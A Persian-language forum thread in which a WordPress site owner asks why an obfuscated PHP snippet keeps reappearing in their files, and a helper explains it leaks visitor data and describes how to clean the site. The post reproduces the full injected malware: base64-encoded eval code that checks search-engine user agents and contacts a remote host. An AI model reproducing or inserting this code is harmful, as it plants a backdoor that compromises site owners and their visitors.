kingblog 14 ارسال شده در شهریور 93 گزارش بازنشر ارسال شده در شهریور 93 سلامکد زیر هر چند وقت یکبار اول بیشتر فایلهای php اضافه میشه و اکثر این کدها رو خراب میکنه. این کد رو حذف می کنم ولی بعد از مدتی دوباره ظاهر میشه . میخوام بدونم کار این کدهای مخرب چیه و چیکار کنم که به فایل php اضافه نشن؟<?php /*versio:3.02*/ $GLOBALS["droxyl"]="JNyaW5pX3NldAYWxsb3dfdXJsX2ZvcGVuwCrBZGlzcGxheV9lcnJvcnMdZmVkb3IvcmVzdG9yZV9hZgacUMy4wMghuDdGhhaDFOaWV0aGFpMnphaDZBaHIzoAUHaHR0cDovLwcUPqtSFRUUFMb2ZmDRaHR0cHM6Ly8ySFRUUF9IT1NUKKmdW5pb24xDXvDwbNBc2VsZWN0fsUkVRVUVTVF9VUkkU0NSSVBUX05BTUUUVVFUllfU1RSSU5HYTbOEKPwejQxZGV0ZXJtaW5hdG9yDWrLgeKyIKFLmxvZwzSFRUUF9ZX0FVVEgkieYmFzZTY0X2RlY29kZQOvJdmVyc2lviMQZLQvbwrcLXBocAhlpbKXSFRUUF9FWEVDUEhQxkEwuNb3V0aLb2seSFRUUF9VU0VSX0FHRU5ULAtCxZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleAxVfSYQePLYmxhYnVlbC5uZXQKXeZmFzdGFkZHouY29tvWPCL3czLnBocD91PQRusiJms9sfSXJnQ9cGhwJnA9JnY9ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5TlYzdHZvdG9XL3lxN3hFd3dNQWdvb3RQTGpjMGM1MDZUT1czajJKT2N6R2tJd3FaU2VjbEx0T2wzdjJzL0VHeDFjdjRTMTlwN3ZkZHZyUjM0U0x6eXNCL0UyQk1GRHhjNGk0TFlLWkpNNlBkZlVRQnN2NHpkSWtoaUc5ZEJYdVRpRm9lQnYzSlRVWldHc3FiMnlibFpFQWQyam91V09aUTBWZGJWdm95MC92VVpQbHcyWlcwS2ZCWDRiNmpSZ3V5WEVEdXJ3NkV1Vmw0czluRGs1VzR1bzArOW9zelR6UnBaNk83eHg0OCtla1V0SlFyY0xDbUNDSXRGVm1LUWwrR2l6R0xrNDhSdlJMelQ0a1RlM3ZlZTh6Qnp0bUt2VHNzd3JHVFVpL3pVZDU3Qm8xNjBkb3UwQU9HQ1cyYWhjSTE2KzFXMUtuWkE0VHhGc01HdEFsZ2tUTlRGWjNCUmNNSXcyZGx3eWZhVEZNZENIMWtnUlJPSXpkeXdtUitFbUp5MjNTUXVjQXhoRmRaRmtYNFpEQVNrSUc0UCtXSUdLVWo0dExQOFoxZWdidUF3eCtkU3cwM3NVL3NQYnZtU2c3VXpUaFhoYW0rRGd5VEpUM3lBdENRcDhhTG5iZU00ZGs2WXVNWXVzR2I4b3NqRnl1anI0K0xIL2NQU2hoOFovUXZiM1pLWWZsbk85L25OSC9PRmpId0hmUHZ0eWNWOCtiaTRXeTV1N241K0l6ZDR5aTlmK0hwL2R6Zi91bHplL2ptL2YxekthRXdDc1FxTEtIcW00V0Z1Ti9lSUtKSngydzJUSEhlb0pPQTRTb3U5eUM5RG1Gc3hnbkQ5MW1TWFU1dE1rVkpsTlVqVStYbmlia2hkdEZVM1VhSHl0c242c1BGbEdyOXFEeDhHMTluVUx4R3oyU1UxOXBnNmROb1JZTGFmbHFRSW1wWVIvamRmb2xlZWhUZEJJV25JTitqN2N2a3cwQlFWQ1A5ay84VHc4ejNKaXk4SVBsNjVTVytVUWNLVWxmRytURURGdy9jSCsvNm5JZ3dFaFh6K05WLzh2TDIvTzZQME1jZlo1NXRucU9rdm9KemRwL0lhbWJzMTFMNTRkYUhQdVZOOTlPa1RFdC8xTmZyY3N2K0Q5SDRiRUlVRUZ0cXBZNGltVDJpdnpIeWV5Q01NOU9wTkdhUTFPSVhyTkV3OExBcEgrK1JHSkp3clk0SlkvUFF2OWFuRmxTQTZjNCtkb3pyZlRxREdUYjJpMnI2azRjSEp4SjdyMTFYcHdQa0VKM3NYZ3hQWVhTZEkrTnNXRk01VWhDL3d6Zmc4U2FmZ2xWWk9Wbm1GVjIwUEc3RzMzbTdxbWdocXdLVm4vNXd2SUVPL09PdUozTzVWL3JhTWF1dUl3SVlwQVVMckpDQkJtSUd5bGpWU3BaRXUwejRKL04waGRGcVdOcFRNaWF5Yk5JNjBXRG84U2ROMU1oSlk0UVk1alY5alRIdE1oK0ZneUdiL3FSa3hzek9ITkZQU05YSUlYVm5vU0I2UEpYTXFqeWpDdlZjL0dzUE1NV1JONHpuZ0J4UXJMN0lpQVV6RzJWbE4ra2dhVG1WTjc1TU0rMG1HSFhjTmJXZVQ5bkZ5eEpOaS9iZk5HTEVaaEtZRWJSaFJic1daQnN4Rms0eEZLdUlYdi8vVWphRXFqVlVaNHRSQytTVng1bFRTSUZpVDM4bURvSUFUVE40YkdDZGVYUXE5S3VucVNOWU1FbnFDSng4T21KREQ0WkNlb05qNE1Wb1RVeHJxOUFESjhzVWs2NW9oYVJEVjhVVlZtcUZLQmpPRzlHOG5nQ05wb3N0NkgwYklPUU9tSTJta1VzSFg3eG90VGRKVnRVbjNkVlVmUkZJaC9yN0NtOUR5Z2l4MkFFUnMrOXZ0ajdsdDk1VS9iaGN3RWU0WGY0UDRoNXZGRFh4Q1BhZTQydGNIOFBzbXk1eTlpSVNCaDZ0QnZvNmd2WVZCRWFVRHhZZHgvYm1NZzdvbDNYNmRONVRXWEdINTU0UHdkRXFaSDBuenU3KzZKNXEvWU5VSmhWK2dlb2owNDRaUkF2dzRuZzFrRzN3VFlJbmlyaW9DTzNyOHUwcy84dzFqd0M3bEY3Z3VGRDBHM2trTDhJQ1FKa2hXbTJ4ZDhOcS80bk9RRTBtbzJhZGluWTBzMjQ5eWU1Y0ZoYk1DOU8vZVpNYVFyWU1ScjlFSzlHOGFIRzFtS2p0MlRRdWN0a3ZZamxBeURnQjJYaEhiWk1VT2lnRFVqR2daTm90bTAzQzlvS3dTSEZzTlNwd3J0YlpDaWFHSHZFNTJrVFdMUEtOUnJQQ3h5QkZVNFhCSndIRzNyc3VWYTcwclNxVURsanJNZmIydmNMblhINHpYUWIybU05dTVPSXJJNlhPUzcwbThHSzBWcVVOdk10aStBS3BENEJ0VDZwQmxjYjNFc3pSY1IwWGFBc3BRMDBHUVJnWW9HMDU4QnAyT3N1UHhLU0RDR0NCS2JpWkp4OHN4K0RBeHFaOXNBTFc4NFhCSUlIN2NieGFkS25aeHVyYTRPZWNjMEtlcVpJNDVxc0N6QTFkTzJOejdsOFlPSjlMUVVHR0V5QzNrVEdBQ3dITmwyR2NWVWdlRnlJcWx0L0pmRGdleWNIMGpleWxFUDR5Y29DZ0pOdjUrcXVnbVZKNXVrQ2ZReVZocFZvNU9rVTBrZlV3cW9XT1FEaUdkam1RREJoM3R2a081amVMTnU4bkRUSkdQM0N2TG9sYlN2YWdxNHkzYk45bXUrYUZXSVBqR1dCNmZhSjFBVWFyRUZGSm44U3JjMXVRMU1DdEpyN25FNm5PT3FyUldET3JtekNjdER2M045TU55VHBhM1Bpd3hCV3cwekU3K2g0bUhQM1FwUEc1cDdDTGQwR25vclNWc2ZpZVEwSUFKZVVJMWZ0RmlLSkxTWFl0dHB3QmV1bUhwWVR1Qit1alFPeGpRcEJjZWFFUVA3WVdYdUU1ZWprT2dIYkprSnhvVFJ6c1JHMDVneXJFeDEzVGRxUlZFSWdlYVRoZzVpWGpKdG5QVW5YK3FLWTAwZUJ5UG9HZll3VTdhZEEyYVRaTkhSOXhvZVNOaktFMU5zc2g4N0xVeERNM3BoRjVqTFVwMisxV3c4Y2g3OXQxam1FVUFGdDcyUFh6OU1ib01uZm43NWoxMGpVMFkvZ2FETHI2Ty9SL0lEVE5EIikpKTsV"; if (!function_exists('qelifbcp')){function qelifbcp($a, ${$c=$GLOBALS['droxyl'];$d=pack('H*','6261736'.'536345f6465636f6465'); return $d(substr($c, $a, $);};eval(qelifbcp(566,3283));};?> نقل قول لینک به ارسال
kasra 4929 ارسال شده در شهریور 93 گزارش بازنشر ارسال شده در شهریور 93 سلاماین کدها برای ارسال اطلاعات بازدید کننده هستندر انجمن جستجو کنید قبلا همین مشکل رو داشتن که به صورت کامل راهنمایی کردم به طور خلاصه :وردپرس رو به صورت کامل حذف کنید به جز wp-content و wp-config و دوبراه دستی آپدیت کنیدتما فولدر wp-content که فایل index.php دارند رو بگردید و اگر این کرد رو داشتند حذف کنید و تمام فایل های پوسته رو همین کارو کنیدسیستمتون رو ویروس یابی کنید یک تروجانی به اسم فکر کنم erop.pif هست که این کد رو اضافه میکنه البته اگر یک بار اضافه بشه خودش به صورت خودکار به همه فایل های پوسته اضافه میکنه 4 نقل قول لینک به ارسال
پست های پیشنهاد شده
به گفتگو بپیوندید
هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .